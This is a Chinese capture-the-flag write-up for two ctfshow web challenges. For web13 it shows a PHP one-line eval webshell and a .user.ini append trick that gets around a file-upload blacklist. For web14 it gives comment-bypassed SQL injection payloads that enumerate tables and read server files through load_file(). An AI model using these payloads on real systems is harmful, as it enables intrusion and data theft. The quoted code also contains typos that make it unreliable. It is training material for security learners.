ctfshow
web13
访问题目链接
一看是一道文件上传题,上传文件进行测试
上传php会显示 error suffix 因此推测会检测格式
当文件字数超出一定字数时,显示 error file zise
常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露
这道题访问 upload.php.bak 成功获取到了php源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名
上传的文件会在本目录
对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)
<?php eval($_GET['c']);
对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。
因此我们可以上传用户配置文件 .user.ini
原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126
auto_apend_file="t.txt"
然后上传一个test.php,里边写上面提到的最简单一句话
此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)
注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)
成功调用 phpinfo 函数
使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。
使用 highlight_file(“”) 查看可疑文件
得到flag
web14
尝试数字小的,输入3时,提示了另一个页面
是个查询框,推测有sql注入
发现会过滤空格,尝试 注释绕过,成功
order by 子句爆列数
?query=-1/**/or/**/true/**/order/**/by/**/2
发现只有一列
union爆库名
?query=-1/**/union/**/select/**/database()
爆版本
爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)
-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()
后来发发现爆了一堆白爆了……..
根本就不是这么做。
仔细一想,题目提示要看题目的源码,且又是sql注入
那么——load_file()函数
使用load_file的前提:
- my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
- 绝对路径已知(/var/www/html)
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
页面没反应
查看一下源码
看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好
得到flag
标签:web,文件,die,ctf,file,error,php,上传 From: https://www.cnblogs.com/endermanneer/p/18176043